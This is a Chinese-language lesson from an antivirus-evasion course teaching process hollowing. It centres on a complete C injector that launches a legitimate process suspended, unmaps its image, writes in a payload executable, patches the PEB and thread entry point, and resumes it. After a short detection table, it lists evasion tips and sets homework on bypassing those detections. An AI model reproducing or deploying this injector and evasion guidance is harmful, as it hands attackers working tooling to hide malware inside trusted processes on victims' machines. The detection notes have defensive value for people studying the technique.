免杀专题
10、进程镂空
1. 课程目标
掌握进程镂空(Process Hollowing)技术,这是一种高级的代码注入技术,通过替换合法进程的内存映像来执行恶意代码。
1.1 学习目标
- 理解进程镂空的工作原理
- 掌握进程创建与挂起技术
- 学会解映射与重新映射操作
- 实现完整的进程镂空注入
2. 名词解释
| 名词 | 英文 | 解释 |
|---|---|---|
| 进程镂空 | Process Hollowing | 将合法进程的代码“掏空”并替换为恶意代码的技术 |
| 挂起进程 | Suspended Process | 创建时处于暂停状态的进程,未开始执行代码 |
| 解映射 | Unmap | 取消内存区域的映射,释放虚拟地址空间 |
| ImageBase | - | PE文件在内存中的首选加载基址 |
| Entry Point | - | 程序的入口点地址,代码开始执行的位置 |
| 线程上下文 | Thread Context | 线程的CPU寄存器状态,包含RIP/EIP等 |
| PEB.ImageBaseAddress | - | PEB中存储的进程映像基址 |
| NtUnmapViewOfSection | - | 解除内存区域映射的Native API |
3. 技术原理
3.1 进程镂空 vs 进程挂起注入
| 特性 | 进程镂空 | 进程挂起注入 |
|---|---|---|
| 原始代码 | 完全替换 | 保留原始代码 |
| 内存布局 | 恶意PE完整映射 | 仅注入ShellCode |
| 复杂度 | 高 | 中 |
| 隐蔽性 | 高 | 中 |
| PE重定位 | 需要处理 | 不需要 |
3.2 技术流程
┌──────────────────────────────────────┐
│ 1. 创建挂起状态的合法进程 │
│ CreateProcess(CREATE_SUSPENDED) │
└──────────────────┬───────────────────┘
↓
┌──────────────────────────────────────┐
│ 2. 获取目标进程PEB和ImageBase │
│ NtQueryInformationProcess │
└──────────────────┬───────────────────┘
↓
┌──────────────────────────────────────┐
│ 3. 解映射原始进程映像 │
│ NtUnmapViewOfSection │
└──────────────────┬───────────────────┘
↓
┌──────────────────────────────────────┐
│ 4. 在目标进程分配内存 │
│ VirtualAllocEx │
└──────────────────┬───────────────────┘
↓
┌──────────────────────────────────────┐
│ 5. 写入恶意PE的头部和各区段 │
│ WriteProcessMemory │
└──────────────────┬───────────────────┘
↓
┌──────────────────────────────────────┐
│ 6. 处理重定位表(如果基址不同) │
│ 修复重定位项 │
└──────────────────┬───────────────────┘
↓
┌──────────────────────────────────────┐
│ 7. 修改PEB.ImageBaseAddress │
│ WriteProcessMemory │
└──────────────────┬───────────────────┘
↓
┌──────────────────────────────────────┐
│ 8. 修改线程上下文中的入口点 │
│ SetThreadContext (RCX/EAX) │
└──────────────────┬───────────────────┘
↓
┌──────────────────────────────────────┐
│ 9. 恢复进程执行 │
│ ResumeThread │
└──────────────────────────────────────┘
4. 必备工具与环境
| 工具 | 用途 |
|---|---|
| Visual Studio 2022 | 开发环境 |
| x64dbg | 动态调试,验证注入结果 |
| Process Hacker | 查看进程内存映射 |
| PE-bear | 分析PE文件结构 |
| WinDbg | 内核级调试(可选) |
5. 核心数据结构
5.1 必要的类型定义
#include <windows.h>
#include <winternl.h>
// NtUnmapViewOfSection函数原型
typedef NTSTATUS(NTAPI* pNtUnmapViewOfSection)(
HANDLE ProcessHandle,
PVOID BaseAddress
);
// NtQueryInformationProcess函数原型
typedef NTSTATUS(NTAPI* pNtQueryInformationProcess)(
HANDLE ProcessHandle,
PROCESSINFOCLASS ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength
);
// 重定位表结构
typedef struct _BASE_RELOCATION_ENTRY {
WORD Offset : 12;
WORD Type : 4;
} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;
5.2 PEB中ImageBaseAddress偏移
| 架构 | PEB偏移 | 说明 |
|---|---|---|
| x86 | PEB+0x08 | ImageBaseAddress |
| x64 | PEB+0x10 | ImageBaseAddress |
6. 完整实现代码
6.1 主函数实现
#include <windows.h>
#include <stdio.h>
#include <winternl.h>
#pragma comment(lib, "ntdll.lib")
// 函数原型
typedef NTSTATUS(NTAPI* pfnNtUnmapViewOfSection)(HANDLE, PVOID);
typedef NTSTATUS(NTAPI* pfnNtQueryInformationProcess)(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);
// 读取PE文件到内存
LPVOID ReadPEFile(LPCWSTR szPath, DWORD* pdwSize) {
HANDLE hFile = CreateFileW(szPath, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) return NULL;
DWORD dwSize = GetFileSize(hFile, NULL);
LPVOID pBuffer = VirtualAlloc(NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!pBuffer) {
CloseHandle(hFile);
return NULL;
}
DWORD dwRead;
ReadFile(hFile, pBuffer, dwSize, &dwRead, NULL);
CloseHandle(hFile);
*pdwSize = dwSize;
return pBuffer;
}
// 进程镂空主函数
BOOL ProcessHollowing(LPCWSTR szTargetPath, LPCWSTR szPayloadPath) {
printf("[*] Process Hollowing开始\n");
printf("[*] 目标进程: %ws\n", szTargetPath);
printf("[*] 载荷PE: %ws\n", szPayloadPath);
// 1. 读取恶意PE文件
DWORD dwPayloadSize = 0;
LPVOID pPayload = ReadPEFile(szPayloadPath, &dwPayloadSize);
if (!pPayload) {
printf("[-] 读取载荷失败\n");
return FALSE;
}
printf("[+] 载荷大小: %d bytes\n", dwPayloadSize);
// 解析PE头
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pPayload;
if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
printf("[-] 无效的PE文件\n");
VirtualFree(pPayload, 0, MEM_RELEASE);
return FALSE;
}
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)pPayload + pDosHeader->e_lfanew);
if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
printf("[-] 无效的NT头\n");
VirtualFree(pPayload, 0, MEM_RELEASE);
return FALSE;
}
printf("[+] 载荷ImageBase: 0x%p\n", (PVOID)pNtHeaders->OptionalHeader.ImageBase);
printf("[+] 载荷EntryPoint: 0x%X\n", pNtHeaders->OptionalHeader.AddressOfEntryPoint);
printf("[+] 载荷SizeOfImage: 0x%X\n", pNtHeaders->OptionalHeader.SizeOfImage);
// 2. 创建挂起状态的目标进程
STARTUPINFOW si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
if (!CreateProcessW(szTargetPath, NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
printf("[-] 创建进程失败: %d\n", GetLastError());
VirtualFree(pPayload, 0, MEM_RELEASE);
return FALSE;
}
printf("[+] 创建挂起进程成功, PID: %d\n", pi.dwProcessId);
// 3. 获取目标进程PEB地址
HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
pfnNtQueryInformationProcess NtQueryInformationProcess =
(pfnNtQueryInformationProcess)GetProcAddress(hNtdll, "NtQueryInformationProcess");
pfnNtUnmapViewOfSection NtUnmapViewOfSection =
(pfnNtUnmapViewOfSection)GetProcAddress(hNtdll, "NtUnmapViewOfSection");
PROCESS_BASIC_INFORMATION pbi = { 0 };
ULONG ulRetLen = 0;
NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &ulRetLen);
printf("[+] 目标进程PEB地址: 0x%p\n", pbi.PebBaseAddress);
// 4. 读取目标进程原始ImageBase
#ifdef _WIN64
LPVOID pImageBaseAddr = (LPBYTE)pbi.PebBaseAddress + 0x10;
#else
LPVOID pImageBaseAddr = (LPBYTE)pbi.PebBaseAddress + 0x08;
#endif
LPVOID pTargetImageBase = NULL;
SIZE_T bytesRead = 0;
ReadProcessMemory(pi.hProcess, pImageBaseAddr, &pTargetImageBase, sizeof(pTargetImageBase), &bytesRead);
printf("[+] 目标进程原始ImageBase: 0x%p\n", pTargetImageBase);
// 5. 解映射原始进程映像
NTSTATUS status = NtUnmapViewOfSection(pi.hProcess, pTargetImageBase);
if (status == 0) {
printf("[+] 解映射原始映像成功\n");
} else {
printf("[!] 解映射失败: 0x%X, 继续尝试...\n", status);
}
// 6. 在目标进程分配内存
LPVOID pRemoteBase = VirtualAllocEx(
pi.hProcess,
(LPVOID)pNtHeaders->OptionalHeader.ImageBase, // 尝试在首选基址分配
pNtHeaders->OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
BOOL bNeedReloc = FALSE;
if (!pRemoteBase) {
// 首选基址分配失败,让系统选择地址
pRemoteBase = VirtualAllocEx(
pi.hProcess,
NULL,
pNtHeaders->OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
bNeedReloc = TRUE;
printf("[!] 基址冲突,需要重定位\n");
}
if (!pRemoteBase) {
printf("[-] 远程内存分配失败: %d\n", GetLastError());
TerminateProcess(pi.hProcess, 0);
VirtualFree(pPayload, 0, MEM_RELEASE);
return FALSE;
}
printf("[+] 远程内存分配成功: 0x%p\n", pRemoteBase);
// 7. 处理重定位(如果需要)
if (bNeedReloc) {
DWORD dwDelta = (DWORD)((ULONG_PTR)pRemoteBase - pNtHeaders->OptionalHeader.ImageBase);
printf("[*] 重定位偏移: 0x%X\n", dwDelta);
// 获取重定位表
DWORD dwRelocRVA = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
DWORD dwRelocSize = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
if (dwRelocRVA && dwRelocSize) {
PIMAGE_BASE_RELOCATION pReloc = (PIMAGE_BASE_RELOCATION)((LPBYTE)pPayload + dwRelocRVA);
while (pReloc->VirtualAddress && pReloc->SizeOfBlock) {
DWORD dwEntryCount = (pReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
PWORD pEntry = (PWORD)((LPBYTE)pReloc + sizeof(IMAGE_BASE_RELOCATION));
for (DWORD i = 0; i < dwEntryCount; i++) {
WORD wType = pEntry[i] >> 12;
WORD wOffset = pEntry[i] & 0x0FFF;
if (wType == IMAGE_REL_BASED_HIGHLOW) {
PDWORD pAddr = (PDWORD)((LPBYTE)pPayload + pReloc->VirtualAddress + wOffset);
*pAddr += dwDelta;
}
#ifdef _WIN64
else if (wType == IMAGE_REL_BASED_DIR64) {
PULONGLONG pAddr = (PULONGLONG)((LPBYTE)pPayload + pReloc->VirtualAddress + wOffset);
*pAddr += dwDelta;
}
#endif
}
pReloc = (PIMAGE_BASE_RELOCATION)((LPBYTE)pReloc + pReloc->SizeOfBlock);
}
printf("[+] 重定位处理完成\n");
}
// 更新PE头中的ImageBase
pNtHeaders->OptionalHeader.ImageBase = (ULONG_PTR)pRemoteBase;
}
// 8. 写入PE头
SIZE_T bytesWritten = 0;
WriteProcessMemory(pi.hProcess, pRemoteBase, pPayload,
pNtHeaders->OptionalHeader.SizeOfHeaders, &bytesWritten);
printf("[+] 写入PE头: %lld bytes\n", bytesWritten);
// 9. 写入各区段
PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNtHeaders);
for (WORD i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) {
if (pSection[i].SizeOfRawData) {
LPVOID pSectionDest = (LPBYTE)pRemoteBase + pSection[i].VirtualAddress;
LPVOID pSectionSrc = (LPBYTE)pPayload + pSection[i].PointerToRawData;
WriteProcessMemory(pi.hProcess, pSectionDest, pSectionSrc,
pSection[i].SizeOfRawData, &bytesWritten);
printf("[+] 写入区段 %.8s: VA=0x%X, Size=%d\n",
pSection[i].Name, pSection[i].VirtualAddress, pSection[i].SizeOfRawData);
}
}
// 10. 更新PEB中的ImageBaseAddress
WriteProcessMemory(pi.hProcess, pImageBaseAddr, &pRemoteBase, sizeof(pRemoteBase), &bytesWritten);
printf("[+] 更新PEB.ImageBaseAddress\n");
// 11. 修改线程上下文
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);
LPVOID pNewEntryPoint = (LPBYTE)pRemoteBase + pNtHeaders->OptionalHeader.AddressOfEntryPoint;
#ifdef _WIN64
ctx.Rcx = (DWORD64)pNewEntryPoint;
#else
ctx.Eax = (DWORD)pNewEntryPoint;
#endif
SetThreadContext(pi.hThread, &ctx);
printf("[+] 设置新入口点: 0x%p\n", pNewEntryPoint);
// 12. 恢复进程执行
ResumeThread(pi.hThread);
printf("[+] 进程已恢复执行!\n");
// 清理
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
VirtualFree(pPayload, 0, MEM_RELEASE);
return TRUE;
}
int main(int argc, char* argv[]) {
printf("========================================\n");
printf(" 进程镂空 (Process Hollowing) 演示\n");
printf("========================================\n\n");
if (argc != 3) {
printf("用法: %s <目标进程路径> <载荷PE路径>\n", argv[0]);
printf("示例: %s C:\\Windows\\System32\\notepad.exe payload.exe\n", argv[0]);
return 1;
}
wchar_t szTarget[MAX_PATH], szPayload[MAX_PATH];
MultiByteToWideChar(CP_ACP, 0, argv[1], -1, szTarget, MAX_PATH);
MultiByteToWideChar(CP_ACP, 0, argv[2], -1, szPayload, MAX_PATH);
if (ProcessHollowing(szTarget, szPayload)) {
printf("\n[+] 进程镂空成功!\n");
} else {
printf("\n[-] 进程镂空失败!\n");
}
return 0;
}
7. 关键技术点详解
7.1 为什么需要解映射
解映射前: 解映射后:
┌─────────────────────┐ ┌─────────────────────┐
│ Target.exe代码段 │ │ (空闲空间) │
│ 0x00400000-0x00410000│ → │ 0x00400000-0x00410000│
├─────────────────────┤ ├─────────────────────┤
│ Target.exe数据段 │ │ (空闲空间) │
└─────────────────────┘ └─────────────────────┘
↓
可以重新分配并写入恶意PE
7.2 线程上下文寄存器
| 架构 | 入口点寄存器 | PEB地址寄存器 |
|---|---|---|
| x86 | EAX | EBX |
| x64 | RCX | RDX |
8. 常见问题与解决
8.1 解映射失败
原因: 某些系统DLL可能已经映射到目标区域
解决: 忽略解映射错误,直接在其他地址分配内存,然后进行重定位
8.2 重定位表不存在
原因: 有些PE编译时禁用了重定位(/FIXED)
解决:
- 必须在原始ImageBase处分配内存
- 或重新编译载荷,启用重定位
8.3 32位/64位不匹配
原因: 32位程序不能注入64位进程,反之亦然
解决: 确保注入器和载荷的架构匹配目标进程
9. 检测与防御
9.1 检测方法
| 检测点 | 方法 |
|---|---|
| 内存扫描 | 比较磁盘PE与内存PE的差异 |
| ETW事件 | 监控NtUnmapViewOfSection调用 |
| 行为监控 | 检测CREATE_SUSPENDED后的可疑操作 |
| 内存保护 | RWX权限的异常内存区域 |
9.2 规避技术
- 不使用NtUnmapViewOfSection,直接覆盖内存
- 使用其他API组合实现相同效果
- 分段写入,延时执行
10. 课后作业
10.1、作业1:基础实现(必做)
实现完整的进程镂空,将calc.exe注入到notepad.exe进程中。
10.2、作业2:改进重定位(进阶)
修改代码,支持处理所有类型的重定位项(IMAGE_REL_BASED_*)。
10.3、作业3:绕过检测(高级)
研究如何绕过以下检测:
- 不调用NtUnmapViewOfSection
- 避免RWX内存权限
11. 扩展阅读
- Process Hollowing - MITRE ATT&CK T1055.012
- Windows Internerta PE文件格式深入解析
- 重定位表原理与实现